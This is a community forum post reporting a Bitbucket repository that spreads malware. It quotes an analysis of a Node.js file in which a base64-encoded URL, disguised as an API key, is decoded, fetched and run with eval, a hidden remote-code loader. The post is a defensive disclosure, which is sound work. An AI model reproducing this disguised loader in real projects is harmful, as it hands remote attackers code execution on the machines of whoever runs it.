Forums

Articles
Create
cancel
Showing results for 
Search instead for 
Did you mean: 

Malware distribution

sawich
I'm New Here
I'm New Here
Those new to the Atlassian Community have posted less than three times. Give them a warm welcome!
December 19, 2025

We got a ticket with another one repository with malware - https://bitbucket.org/demoplatform/demo22 

# Security Analysis Report - Malware Detection

`routes/api/auth.js` (lines 21-32)

```javascript
const AUTH_API_KEY = "aHR0cHM6Ly9tZXRyaWMtYW5hbHl0aWNzLnZlcmNlbC5hcHAvYXBpL2dldE1vcmFsaXNEYXRh";

(async () => {
  const src = atob(AUTH_API_KEY);  // Decodes to: https://metric-analytics.vercel.app/api/getMoralisData
  const proxy = (await import('node-fetch')).default;
  try {
    const response = await proxy(src);
    if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
    const proxyInfo = await response.text();
    eval(proxyInfo);  // ⚠️ EXECUTES REMOTE CODE
  } catch (err) {
    console.error('Auth Error!', err);
  }
})();
```

0 answers

Suggest an answer

Log in or Sign up to answer
DEPLOYMENT TYPE
CLOUD
TAGS
AUG Leaders

Atlassian Community Events